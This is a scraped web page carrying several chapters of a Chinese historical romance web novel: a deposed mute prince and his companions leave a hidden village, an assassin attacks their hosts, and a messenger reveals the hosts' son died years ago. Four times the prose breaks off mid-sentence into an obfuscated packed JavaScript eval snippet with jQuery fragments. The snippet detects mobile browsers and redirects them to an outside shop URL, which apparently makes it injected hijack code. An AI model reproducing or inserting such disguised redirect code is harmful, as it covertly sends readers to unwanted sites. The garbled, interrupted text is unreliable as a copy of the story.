沈思安竟也不喊她。江知雪一边动作一边愤愤地想,若不是自己因梦醒了,他难道要这般等到她醒? 一番收拾妥当,天又亮了些。江知雪在沈思安跟前站定,声音是晨起时独有的绵软:“我们何时动身?” 沈思安没有回话,只站起身,拿了桌上二人的行囊便抬腿欲走。 “等等。”江知雪喊住他,从他肩上扒拉下自己的包袱,伸手摸出一锭银子放在桌上:“我们打扰张叔范婶许久,虽说他们或许用不上银钱,但除此之外好像也没别的什么能给的了。” 沈思安身形微顿,心下动荡,未料到她竟如此周到,而自己都未曾考虑到这点。他眨眨眼,轻轻点头,随后重新跨上包袱,二人一起出了房间。 35. 虎头村(七) 张铁立和范氏也早起身,甚至连吃食都做好了。 仍是昨晚相同的绿叶菜粥,在早晨的冷意里,冒着腾腾热气。 云双亦从厨房里探出头,脸上是被柴火燃烧熏出的绯红。她轻浅唤了声:“姐姐。”不似往日里热切,更添一丝尴尬。 “嗯。”江知雪并未过多在意,笑着应了一声,又调侃道:“本以为我起得还挺早的,原来竟是这最后起床的人。” 空气似要凝固,张铁立夫妇心知肚明江知雪是想缓和气氛,连忙接了话头:“没有的事,你们正值年少,我们夫妻是老了睡不着,与其睁眼躺床上,倒不如起来做点活。” “欸不说这个了,快些用饭吧,再等会该凉了。”范氏岔开话题,忙招呼众人用饭,“家中只有这些东西,我也做不出什么花样,还要感谢各位的不嫌弃。” 虽寡淡清粥,却是清香沁人,是乡下独有的味道。云双不由想起幼时仍在村子里时,同家人聚在一起的日子。她抿嘴浅笑,声音温柔:“您太谦虚,我已太久未尝过这般美味了。” 江知雪抬眼,视线在云双唇角停留一瞬,复又低下头,一口一口吃着碗中的粥。 昔日在引梅园,二人亦有过口角之争,每每皆是一觉醒来,便又和好如初,仿佛先前的怒目相对不过幻象。阿娘和李婶不止一次打趣她们,直言就算山崩地裂,她俩也是情比金坚。 昨日那件事,分明也已说开。她原以为一切一如往常,却不想今日再见,云双同张叔范婶说话都比对她热情,而她面对云双,更是张口说不出话来。心中不禁酸涩难当。 几人于桌前断断续续闲谈,张铁立几次欲言又止,终是将盘旋心中许久的话说出了口:“不知你们可曾听过张兆阳这个名字?或是见过叫这个名的人?” 江知雪和云双面露茫然,二人视线不经意相触,又迅速尴尬移开。 沈思安面色不显,握着木筷的右手暗自用了力,指骨泛着轻微的白。 “抱歉,我们应当是从未听说或看过的。”江知雪委婉回道。 京城乃天子脚下,出入其间皆需路引凭证,张铁立夫妇从未踏入过一次,早年间村中人采买物品也是前去邻近县镇,即便弄得路引并不麻烦,即便村子距京城更近。 在他们看来,京城是富庶之地、物丰官多,除此之外,与旁的县镇并无差别,大家相互熟识。是以并不知道在京城对一个陌生人留有印象无异于大海捞针,遑论还记得名姓。 范氏放在桌下的一只手隐晦地拽拽张铁立的衣角,小声道:“我早就说了没戏的。” 二人面上皆是显而易见的失落,又暗含果然如此的平静,两相结合,瞧着格外不对劲。 云双搁下手中碗筷,迟疑着问:“他是你们的……?”是什么关系她瞬间便已猜到,但瞧他们的面色,她不敢说出。 “是我们的儿子。”范氏声音有些飘忽:“八年前水灾时,我们正在隔壁镇子置办秧苗种子,因天黑暴雨,担心夜路难走,便就势在那儿住了一夜,才幸免于难。第二日,各种坏消息就在镇子里炸开了锅,哪里哪里塌了,哪里哪里被水淹了,其中就有虎头村……” 谈及那场灾祸,范氏再度哽咽,几乎不能成声。 张铁立接着道:“镇子当时就禁止出入了。我们再赶回去时,已是半个月后。一片狼藉,什么都没了,塌掉的山土把一切都埋了……” 他说着抬起头看向三人,颤抖着双眸:“我们料理完村中后事,重建了房子。这期间,竟无一官员过来问询,这可是整整一个村啊!兆阳心有不甘,便说去京城禀告官老爷,我们俩不忍村子就这样没了,便留在此守着,等他的好消息。但自那之后,除却不时送来的书信衣物和日常用具,竟再未见他一面。” 云双深知那些官府做派,可对于他们儿子的事,仍是不由心惊。好端端的人,既然能送东西回来,说明是担心张叔范婶的,为何不与他们相见,以解双方忧思? 江知雪亦有此感。 场面一时安静,四下只闻风吹树叶,沙沙作响。 良久,江知雪才张开口,找回自己的声音:“没有消息就是最好的消息,他能隔段时日送些物件书信,便说明他如今应是过得不错。” “我们也是这样想,但他为何始终不肯出面来见我们。”二人仍作哀伤状,是八年来每每思念时的苦痛凝结而成。 云双亦一旁轻声安慰,语调似纱拂面:“此番入京,我们定当帮您留意,若时间尚充裕,再帮二位打探打探。张叔范婶你们且宽心。” 一番话似定海神针,定了张铁立夫妇的心神。他们面带感激站起身,一声声道着谢,“几位简直是我们的再世恩人,我们、我们都不知如何答谢才好……兆阳是我们唯一的指望,无论找没找到,还望恩人能告知一声。”范氏更是激动得泪水涟涟,二人见势便要跪下。 云双赶忙起身走至范氏身边,快速扶起二人,切切道:“不用如此,你们放心收留我们一夜,已是至仁至善,我们不过顺路帮一帮忙,如何受得这般大礼。” 江知雪和沈思安也站了起来。 江知雪却是心中大骇,垂于身侧的双手止不住颤抖。 此番流放出京,哪有回得去的道理,更不消说他们还被追杀。云双如何能拿根本不可能的事来诓骗安抚张铁立夫妇,她究竟想做什么? 江知雪的胸口因愤怒而剧烈起伏,她双手握拳,紧闭了闭目,方才压下心中怒气。 她不能现在拆穿她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601169|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,昨日之事已算打了云双的脸,甚至因此同她有了隔阂,眼下若再出声,她不敢去想她们之间过后会怎样。更重要的是,眼前的一切已成定局。江知雪看向还在感激的张叔范婶,眼里满溢着希望,此时说出口,只怕是又给他们带来更深的伤害。 忽然,一只冰凉的手握住了她的手,动作很轻,似不敢,似试探。 江知雪侧头抬眼朝身旁的沈思安望去,只见他微摇了摇头。虽眸中是一贯的冷淡,她却从中感受到了他的安抚。 一颗心就这样静了下来。 太阳隐有穿透晨雾的架势,桌上饭食也已见底,江知雪再难忍受云双这般作态,她笑对张铁立夫妇道:“张叔、范婶,我们已用好饭了,实在是不知如何感谢你们的款待。只现下日头将要升起,我们还有路要赶,就不多叨扰了。” 说着,就便是深深一福礼。一旁沈思安亦拱手躬身作揖。 张铁立夫妇闻此,抬头看天,天光已经大亮,忙道:“是了是了,路途遥远,还是早些赶路为好。道谢的话就不必了,该是我们感谢你们才对。” 云双不动声色望了一眼小姐,亦作谢礼。几人又同张铁立夫妇说了几句,便匆匆拜别,拿了桌边行囊跨篱笆院而去。 “我们真能相信他们吗?”范氏见瞧不到他们身影,问身侧张铁立。 张铁立一口气喝完碗中剩下的粥,叹道:“无论是真是假,总得去试试。” 虎头村因灾被毁,遗忘于世人,时至今日,早成了黑户。他们无路引,亦再不可能有路引上京去寻,只能寄希望于外人,更期盼于张兆阳早日归家看一眼他们。 范氏也一声叹息,驻足片刻,前去江知雪他们暂住的屋子打扫。 房中整洁干净,被褥叠放整整齐齐,一如未住人之时,只桌上多了一锭银子。 “老头子,他们还留了银钱!”范氏拿起银两,连忙出了屋。 张铁立正在收拾桌上碗筷,听范氏话语,转过身去,就见她手上一大块银:“果然是富贵人家,寻常百姓哪里能得见这样大的银两。我早便说过,他们是良善之辈,值得咱们去信任。” “看来我们是找对人了。” 银钱对他们现在来说并无用处,范氏还是仔细端详许久,又拿身上衣服仔仔细细擦拭一遍,将它对着才冒出头的太阳看了又看,准备存放好日后留给张兆阳。 阳光为银子镀了层金,范氏瞧着那光,心里一个念头突然闪过:“我们方才是不是应当告诉他们如何出去?” 张铁立经她提醒才想起来这一茬,一拍大腿:“遭了,我现在就去追他们。”说着便转身欲循着江知雪他们离开的方向走。 一柄剑携着寒光而来,悄然架上张铁立的脖颈。 36. 虎头村(八) 早些时候,星涯坡上,陈兴财还在苦苦寻找下去的通路。眼看天光一点一点变白,他的脸色也难看得同那天色一般。 山风烈烈,刮得人衣袖翻飞。 不远处,那几个暗卫寻了个避风的石块靠坐,不时三两句闲谈,好整以暇地看着他上下乱窜。 其中一人看了看天,问道:“是不是已过了一个整天了?” 其余三人闻言,亦抬头望去。太阳还未出山,金色已然漫至整个天际。几人相互对视一眼,默契起身,活动活动冻得发僵的身体,晃悠着朝陈兴财走去。 “找着了没啊?”声音从背后响起,惊得陈兴财汗毛倒立。 他带着惨淡的神情转身,求饶道:“暂时还未找到,不过再给我一些时间,我定不负所托。”分明冷得没了知觉,他竟出了满头的汗。 暗卫们突然放声大笑,眼中尽是嘲弄之色:“几个时辰前你是不是也说过这话?没本事找到就别说大话,听得人烦躁。” “杀个人都能办砸,竟还敢向皇后娘娘讹钱?搅得咱们几个陪你在这鸟不拉屎的地儿受冻受累。你知不知道你爷爷我现在应是在床上睡着!” “我们可是给足了时间,瞅这天色可不止一天一夜了吧。结果你连路的影子都没摸到,不如现在就送你下去。” 陈兴财默然跪在地上,任由那几人你一言我一语地奚落他。直到说要将他扔下去,才猛然抬头,大睁着眼,满是惊恐地说:“求求你们,再给我一点时间,我一定能找到。我不能、我还不想死,求求你们放过我,我再也不敢了……” 泪水糊了满脸,他浑身颤抖。未及说完,便被一脚踹至胸口,滚落下去。 “有什么话留着和底下的废太子好好说吧!”伴随着狞笑的声音幽幽从崖上传来,越发浅淡,直至耳畔只闻风声。 “真把他踹下去了?那我们怎么找到那个废太子?”暗卫中有人疑问道。 送陈兴财下去的人不在意地摆摆手,替他解惑:“无需再寻。他若死了,那废太子决计活不得;他若活着,那废太子便也没死,他又怎会放过替兄弟、替自己此等惨状复仇的机会。” 几人了然,对其计策啧啧称赞,笑谈着离开了星涯坡。 陈兴财本以为必死无疑,不想崖下竟有一织网,救了他一命。 他一身狼狈,简便灰衣束装被汗水打湿,沾了尘土,那日伤口早被撕裂,血迹染在胸口。头发也因整天寻路加之滚落山崖,松松垮垮歪倒于一侧。 他忍着伤痛左右观察,竟发现一圈圈缠绕的绳索此刻垂下去三根,废太子一行也是三人,答案已呼之欲出。他亦循此绳索一路往下,在偌大的林中搜寻着。 水汽蒸腾,潮湿黏腻感包裹全身。陈兴财却无暇顾及,他此刻一心只想找到废太子,杀了他以报血仇。 好在天无绝人之路,倒真让他在这无边密林里找着几间茅草屋,或许他们正藏身于此。 …… “铁立!”范氏慌忙扔下手中银子,不管不顾就要过去拨开张铁立脖颈处的剑刃。 陈兴财剑刃离张铁立脖颈又近一分,口中喘着粗气,却是面上带着笑,道:“大娘且慢,我无意伤你二人性命,只有一问,但求你们能为我解惑。” 范氏观他灰头土脸,胸口衣襟大片血迹,恐是亡命之徒,不敢再有动作,只点了点头表示同意。 “不知二位可曾见过一男二女?皆气质不凡,不似寻常人家?” 张铁立和范氏立刻想到才走没一会儿的江知雪他们。范氏张口欲答,张铁立抢先道:“我们在此生活多年,除你之外从未见过其他活人。”他说的坚定,细听却隐隐透着颤抖。 陈兴财摇摇头:“先听我说完再回答也不迟。”他继续问道:“那男子是个哑巴,你再想想,可曾见过?” “不曾。” “那我换个问题。此地荒芜,仅你二人在这住着?” 这回是范氏抢着答道:“是,八年前水灾后,我们就住在这里,从没出去过,根本不知外面发生的事。” 她原想着以他们对外界毫不知情、不知双方恩怨来搪塞对方,却不想正中陈兴财下怀。 手中剑已划破张铁立皮肤,血线顺着银亮刃口蔓延而出,他哈哈笑了几声,忽而表情阴狠,锐利目光看向桌面:“只你们二人,那为何桌上有五副碗筷?”空余左手又往地上一指:“银锭又怎是五年前新制的样式?” 五年前,旧时银锭因重量过大不便携带而废弃,改成形制更小的样式。张铁立夫妇久居深山,一辈子都未见过银锭,又如何分辨得出这些细节。 “住手!我说,我说!”眼见张铁立脖颈渗出鲜血,范氏当下便松了口,已是惊慌失措之态。 “我看你是被吓傻了,在说什么胡话!”张铁立面色惨白,却依旧不肯松口承认。 他能看得出来,这人面色凶狠,一身盖不住的血腥气,不知造了多少杀孽。眼下情况多半无论怎么说都是死路一条,而沈山他们是他的救命恩人,又不嫌麻烦帮忙寻他的儿子,他们如何能这般忘恩负义。 范氏被他说得清醒过来,后退一步,犹豫道:“我、我……” “说还是不说?”剑刃又深一分。 张铁立一颗心随着剑刃深入胡乱跳动,脸上汗珠不停往下滴落,脸色更是因脖颈吃痛白了又白。 “哎呀老头子,这个时候了,我们真瞒不住了。”范氏眼睛直盯着那剑口,眼泪流了满脸,几乎是心一横,便要坦白。 她抖着声音问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16610687|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我说实话,你能否放了他?” 陈兴财微不可察地挑了挑眉,复又笑道:“这是自然。” 四周只闻风吹树叶,水滴声声。鸟雀不知此方天地惶恐不安的气氛,仍在林间枝头放声大唱着。 “我们是见过……” “此处可是张铁立范氏住所?”范氏才道几字,忽有男子声音从另一道口传来,打断了她接下去的话。 陈兴财警觉,立时回头向声音来处看去,就见一青衫男子手捧一物朝他们走来。 时间似乎静止,张铁立和范氏忘记了恐慌,只余双目怔然。不是因为来人,而是那人所来的方向——是仅有他们夫妻二人和儿子兆阳所知的密道。 来人清瘦,一副文人书生气质,行走如修竹晃动,低头仔细看着脚下的路,避免衣袍下摆染了脏污,一双手小心护着胸前木匣。 待走近,他才抬头看向前方,就见一形容邋遢的男子正恶狠狠地盯着他,宛如看见猎物的饿狼,吓得他心头一跳。 再向后一瞥,恍然一把长剑横在一长者脖子上,鲜血沿着剑身往下滴,那长者衣领处已遍布鲜红。 他瞬间石化,身体有如灌铅,再迈不动半步。好半晌,瞪圆的眼睛才眨了眨,随后张开嘴,狠狠地一声大叫:“啊——” 鸟雀惊飞,乌泱泱一阵扑簌簌扇动翅膀的声音,震得树木摇颤,沙沙作响。 “你是谁?” “你是谁!” 青衫男子与陈兴财同时开口,前者被后者语气吓得身形一颤,声音弱了下来:“我是来此处寻张铁立和范氏二人,你放了他们。” “是他们搬来的救兵?”陈兴财深深看了对方一眼,嗤笑一声,目光欲重新落回张铁立和范氏身上。 范氏已不声不响来到了他跟前,在他回身间隙,使出全身气力拨开刀口半分,并朝他猛然一撞。陈兴财一时不察,竟被撞得几欲仰倒,连连后退才稳住身形。 胸口传来剧痛,伤处似乎又被扯裂,衣上渗出鲜红。 “找死!”陈兴财啐出一口血沫,气极反笑,手持长剑便向张铁立夫妇刺来。 彼时张铁立刚从其剑下得救,范氏正眼含关切看着他脖颈伤口,丝毫未察觉对方动作。 青衫男子几乎顿住呼吸,边往他们二人跑去边大声喊道:“小心!” 一切已然来不及。 二人注意到时,陈兴财已近在眼前,下一瞬,剑尖便会刺穿身体,血流满地。 张铁立和范氏脸上毫无血色,脑内一片空白,心中只剩一个念头:还未见到兆阳。 长剑离喉咙仅余一寸,陈兴财口中发出晦涩声音:“什……?”未及说完,竟是直直倒地,长剑随之“哐当”一声。一人一剑皆再无生息。 37. 虎头村(九) 距离太远,江知雪只瞧剑拔弩张之势,不能辨别究竟是谁,心下一慌,朝他们小跑而去。 陈兴财就那么大睁着眼,死在张铁立与范氏脚下。夫妻二人反应过来后,面容惨淡,几欲瘫软,被青衫男子搀扶着坐到桌边。 江知雪来到他们面前,张铁立才后知后觉抬头,瞧见是她们去而复返,推了推身旁的范氏。 范氏泪眼朦胧,怔然片刻才开口:“你们怎么又回来了?” “我们方才没走出多远,有鹿群过来拦住去路,又见这边鸟雀忽飞散,觉得情况有异,便过来看看。”江知雪说一半藏一半。 当时未行多远,她就越想越不对劲。张叔言他们的儿子从未归家,却送了书信物什。暂不论他们是否识字断信,昨日他亲口所说,此处方圆几百里皆无通路,那书信如何送进,总不能是从星涯坡上抛下。 他们定知道其他通路。 “他是什么人,你们可有受伤?”江知雪关切询问。 范氏闻言,心里头生出几丝愧疚,张着嘴一时不知如何开口。她方才差点就将他们供出来。 江知雪未等范氏答话,一双眼睛兀自在二人身上转动。忽见张铁立脖颈处大片血迹,面露惊恐:“张叔你……”又急急回头问身后才跟上来的沈思安:“可有什么能用的药?” 刀口未伤及要害,已有止血的趋势。 沈思安从包袱中拿出一小瓷瓶递给江知雪,是上次明澜所赠的一堆杂七杂八的药物。又上前一步,蹲下身子,去看地上死透了的陈兴财。 是上次崖上的刺客,倒是条漏网之鱼。 银针自他胸口贯穿而过,被撕扯的旧伤仍在汩汩流着血,针孔完全隐于其中,就算极善验尸的仵作怕是也难以分辨,只认为是死于旧伤撕裂,失血过多。 “他似乎是冲着你们来的。”张铁立摆手拒绝欲为其上药的江知雪,将瓷瓶交给身侧范氏。他看着地上的人,眼里隐含探究:“你们认识吗?” 江知雪面上有一瞬茫然,但见沈思安面色不改,拿了地上沾了血迹的剑走到跟前,才恍然大悟。 那日追杀混乱,除了她无意杀死的那名刺客,其他人的面庞全然模糊不清。但这把剑她认得,与那刺客手中所握形制相同。 毛骨悚然之感顿生,脸上血色尽褪。方才担忧的眼睛似不敢再转动,里面比担忧更深的是化不开的恐惧:他们追杀到这儿了。 一旁被忽视许久的青衫男子自沈思安站起身,便带着犹疑慢慢走过去。 他伸长脖子,眉头紧锁,打探的目光自上而下,在沈思安冷淡的眼神看向他时,他又带上讨好的笑,试探开口:“太子殿下?” 四周寂静仿佛再无声音,而后是云双的惊讶、江知雪的惊恐,以及张铁立夫妇的惊呼:“什么?”宛如一石激起千层浪,在所有人耳边劈了道惊雷。 江知雪想也没想,站到沈思安面前,眼神警惕:“你认错了。” 可她的身形如何遮挡得住沈思安。 沈思安轻拽她的衣袖,待她回身望向他时摇了摇头,在她手中写:不必瞒了。怀疑的种子一旦种下,便是百口莫辩。 云双一直安静在旁看着,瞧小姐如此护着他的样子,昨日才平复下去的厌恶又蠢蠢欲动。她双手于袖中握拳,指甲掐进肉里,才忍住说出一切的冲动。 张铁立和范氏但见江知雪神情,不像是否认对方言辞的荒唐,更似难以辩解、欲盖弥彰的紧张,起身便要跪拜。 沈思安眼疾手快扶起二人,无言看着他们面上浮现激动之色。 “您真是太子殿下?兆阳在信中提到过您,说感念您的大恩大德,若没有您,他或许早已……”范氏眼中又隐有泪光闪动,“死”这个字她未敢说出口。 张铁立反抓住沈思安双腕,像抓住一根救命稻草,急切道:“您可知他现下如何,可有说何时回来?”随后眼睛又看向一旁,缓慢摇了摇头,“不......不回来也行,只要他平安就好。” 一句句问话,似要将他架在火上烤。江知雪知此事再无转圜余地,无奈开口:“近况他或许也不知晓。”伴着张铁立夫妇二人不解的目光,她声音晦涩道:“他已经不是太子了,我们此行是获罪流放,前两日遭遇刺杀不慎跌落星涯坡,才得以在此。而那人就是其中一个。”她手指着地上的陈兴财。 张铁立和范氏互相对视一眼,皆从对方眼中看到了深深的绝望。这一连串发生的事情,让他们只觉犹在梦中。 “那之前呢?之前有没有他的消息?”张铁立不愿死心。 沈思安只沉默站在那,没有任何动作。 “我有。”青衫男子早在张铁立夫妇发问时,便想告知,奈何一直找不到时机。 几双眼睛同时盯着他。 他不好意思地笑笑,又肃了脸色,上前一步打开放在桌上的木匣,正色道:“在下刘择良,与路欢前辈相识三载,今日特来此地完成他的遗愿和嘱托。” 此话出口,四下皆寂。江知雪看见沈思安的手不自觉颤抖了下,看见他张开嘴,似想要说些什么。她心中没来由划过一丝抽痛,那个路欢想必是对他来说很重要的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634721|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 刘择良从中取出一封信,双手呈给沈思安。细纱软纸,混洒金箔,是宫中所用。而后又拿出另外物什和信件,递给张铁立夫妇。 未看信中内容,二人已是心惊,这是张兆阳每次都会送来的物什,料子形色,他们烂熟于心,一眼就能辨认出。 “那个路欢是兆阳的朋友吗?”他们带着希冀小心询问。 刘择良点头,未待夫妻二人松下一口气,又道:“路欢前辈弥留之际告诉我,应当将真相告知你们。” 路欢死去那日,天空下着小雨。彼时宫中设宴,上下忙做一团,无人有瑕顾及被皇后特别对待、挨了五十板子的将死之人。 刘择良趁歇息间隙,偷溜进他的屋子去瞧他。浑身是血、已是进气少出气多的人趴在地上,涣散的瞳仁见到他时,重新聚起光彩。 路欢混着血水与汗水的手紧紧抓住他手腕,自知时间不多,便开门见山说:“我八年前奉太子殿下之命,向无辜冤死的张兆阳家人隐瞒他已死的真相。殿下说他们太苦了,再等等,再等等吧,能瞒多久便是多久。我就这样瞒了八年。” 一段话说完,他急促地喘着气,额上汗如雨落,面色越发苍白:“如今物是人非,我已是强弩之末,想来也不必再瞒,他的家人理应知道真相。劳你在我死后跑一趟,一切都放在……那个木匣里了。”他的眼睛再度涣散,勉力提起最后一丝精神,抬起已难以控制、晃动不停的手,指向放木匣的地方,随后再也支撑不住,手重重砸落地面。 耳边幽幽传来宴会丝竹之声,飘渺似烟云,又清晰若在眼前。路欢闭上眼,任自己沉在其中。 “真好啊,还能再听一次宫中乐声,只是殿下,此生我无法再见您一面了……” 这是刘择良听得他留在世间的最后一句话,而后,再也没有睁开眼。 “斯人已逝,还望节哀。”刘择良分毫不差转述路欢的话,语毕,又作安慰之语,对张铁立夫妇,亦是对沈思安。 张铁立夫妇早已瘫软在地,满面不可置信。他们呆愣着,麻木着,颤抖着,一直哭泣的红肿双眼此刻反而流不出泪,口中不住说着:“这不可能,怎么会这样……”已是痛至绝境之状。 直到刘择良拿了木匣中张兆阳所穿衣物递给二人,他们才泣不成声。 那衣物早已破旧不堪,上面沾满泥土和血迹,是张兆阳去京城那日,范氏亲手缝制让他换上的新衣。她仍记得当时自己对他说:京城是个富贵地儿,得穿上新衣才行,免得叫人笑话。 可京城不过是个吃人的地儿。 38. 虎头村(十) 沈思安几乎是毫不犹豫地打开书信。细纱软纸上,字迹抖动、歪歪扭扭,部分字眼被水渍晕染模糊。可他分明记得,路欢字迹最是工整干净、一板一眼,如同他这个人。 信上写道:殿下,中宫正暗查与您有往来之人,昔日嘱托,恐难再续。感念旧日救命提携之恩情,愧怍难言。此一别,或不复相见,伏惟殿下浅涉风波,少承妄苦,山河日月,万望珍重。 一纸单薄,密密麻麻写尽遗憾,透过缭乱的字迹,仿佛能看见他当时恐惧的颤抖的手。 信纸下是数张泛黄竹纸,其上记录着八年里送给张铁立夫妇的物什用具。沈思安握着手中书信,只觉风是冷的,信纸是冷的,浑身血液都是冷的。 恍惚中,他又见多年前的那天,路欢被打得半死,随意丢在偏僻夹道,手边是被脚碾过沾了灰尘的半个馒头。他借太子身份,从尚膳司将其带出,自己挨了皇后一顿责罚。 而后两年,水灾泛滥,路欢自荐为他分忧,说是感谢他当年的救命与提携之恩,如今已是外殿一队洒扫仆役的监事。沈思安想了许久,才记起那日之事,但他不曾提携过谁。路欢今日成就全凭他自身努力。 因张兆阳之事,他才与其有了些许交集,却也只是路过时的几句问候,细算下来,那些年里,拢共不过十次。 他被废前,路欢已入了殿前司。谁曾想,短短数月,竟已是阴阳两隔,以他与他初见时,同样的刑罚。一切皆是因为自己,路欢怎能愧疚,又何须愧疚? 薄薄几片纸,如有千金重,几乎要让人抓握不住,沈思安的手已隐隐开始发颤。 江知雪一直注意着他的状态,观他如此,不动声色把自己的手覆在他手上,触感冰冷,比昨夜寒凉更甚。 信纸敞开,未有避嫌之意,江知雪试探着看去,心中不免大惊。 她不知当初发生了何事,然救命之恩,以命相抵,该是何等忠义,又是何等情谊。而名为路欢之人既能做到如此,更说明沈思安绝非如今流传所言。 可是,江知雪抬头看向沈思安,他的眼睛似乎又变得空洞,目光落在信纸上,却是穿过它,似在看着别的什么。分明母子,血缘至亲,血脉相连,皇后怎么忍心做到如此地步,对他赶尽杀绝? 范氏双手紧攥儿子的遗物,泪眼婆娑,眼角余光不经意瞥到沈思安的布衣下摆。她怔愣一瞬,下一刻,便不管不顾向他扑去:“我知道你一定知晓实情,你告诉我、告诉我兆阳他是如何死的?” 泪水糊了满脸,范氏已然接近崩溃。 张铁立上前一步拉住她,但他的双眼亦看向沈思安,祈求对方能告知真相。 江知雪感到沈思安的手在她手下兀自握紧,哀求声仍在继续,她动动嘴,欲上前劝慰。沈思安却反握住她的手,制止了她。 他低头看着在他脚边跪下、悲痛欲绝的二人,只是沉默着。良久,才将手中信纸塞回信封,交给江知雪,然后蹲下身,捡了地上随处可见的树枝,在因雾气和水汽作用下湿软的土地上写道:“触怒圣颜,一刀毙命。”张铁立和范氏有权知道真相,他亦不欲撒谎。 短短八个字,银勾铁画,隐含凌厉肃杀之气,更带着刺骨的冰寒。 张铁立夫妇不识得字,啜泣向一旁其他人问道:“是什么意思?” 江知雪只觉齿骨生寒,不忍将其说出口。即使全程旁观的云双也心有不忍。 “触怒圣颜,一刀毙命。”说话的是刘择良,读出地上的字迹时,他的眼睛直直盯着沈思安。 那双看不到底的眸子似乎永远淡漠疏离,一如他初次见沈思安。宫街红墙下,他被众朝臣围在中间,同他们谈笑晏晏。那日太阳灼热刺眼,他的眼底却似盛了冰鉴,全然冰冷,无半点笑意。 刘择良只见过那一次,却是记了多年,时至今日仍记忆犹新。只叹物是人非,昔日众星捧月、恍若谪仙之人,如今竟着粗布衣,面有瑕,声患疾,功名皆消,骂名远扬。 范氏几欲仰倒,已是哭不出声。张铁立搀着她,脸上写满绝望,颤颤巍巍问:“兆阳从小懂事,做事沉稳可靠。他只是去京求官老爷,以他的性子,又怎会与宫中、与圣上扯上关联……”一刀毙命,光是听到,便觉痛至骨髓,他们不敢去想,张兆阳承受了怎样的痛苦。 “自古以来,君君臣臣,父父子子。朝臣百官之于圣上,是肱股,是手眼。张兆阳禀明官衙,无异于禀明圣上。”刘择良解释道。他的声音温润,如微风拂面,说出的话却胆大包天:“而为官者众多,良莠不齐,善恶难辨,焉知他所求官员是否为恶,在奏章中添油加醋胡乱抹黑,以致圣上怒目。圣上日理万机,自是未细细查问,从而……”悲痛之事众人早已心知肚明,他未再多说一遍。 沈思安转头定定看向他,心中竟漾起别种情绪,一贯麻木淡漠的眼底闪过一丝光芒。 从前他被众人景仰,身边皆是奉承恭维之语,没几句真心话;现如今,墙倒众人推,所有人都以最恶毒的话语诋毁讥笑。人人皆如墙头草,见风使舵朝向获利最多的方向,即使年少以清风朗月为志,久处官场,亦是迷失者众多,清醒者甚少。 但刘择良不一样。沈思安虽不识得他,却从他的只言片语中能看出,他已为官多年。不仅称宦官路欢为前辈,更在众人面前道出官场现状,圣上与朝臣之间秘不可宣的漏洞。此子必将大有作为,或可成为他的助力。 刘择良察觉对方目光,朝他恭敬微笑,又拱手道:“殿下应最是深知君臣做派,刘某所言,皆是双眼所见,双耳所听。朝廷目前,已隐透腐朽之气,日薄西山之象。若非如此,霁月清风之人怎至流放境地?” 他从不信京中流言,今日再次有幸得见,更加确定,太子殿下依旧有着他的风骨。 话至官场,他便可停下不再赘述。后半段话,看似在向张铁立夫妇解释,涉法让他们相信他的言论。然其话语,晦涩难懂,又恭称他为殿下,沈思安唯一能想到的只有表忠心。 只是……刘择良为何向他一个废人表忠心,莫不是发现了什么?沈思安眼底又变得幽深。 一旁江知雪和云双眼皮狂跳,眼中皆是不可置信。什么腐朽、什么日薄西山?前几日京城还是一片安宁祥和之象,去年边关还传来捷报,怎会骤然如此? 张铁立和范氏一如沈思安所想,只听明白了“官员为恶”、“胡乱抹黑添油加醋”、“圣上未细查”,眼前一阵发黑。 在他们眼中,官员是父母,是为民申冤的青天大老爷,明察秋毫,公正廉明,若非如此,张兆阳怎会第一时间想到的便是赴京求官。可刘择良的一番话,打碎了他们对官老爷的印象,也击碎了他们的希望。 范氏不由大骂:“你们这群蛀虫,朝廷的败类!是非不分,颠倒黑白!若不是你们,我的儿子怎会就这样没了……他才二十出头,还没成家立业,你们还我儿子!还我……”话未说完,便晕了过去。 “兆阳他娘!” 一行人乱作一团,匆忙将人送去了屋中床上。 沈思安诊其脉象,是悲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650176|180836||http|test|mini|href|location''.split(''|''),0,{})); () { 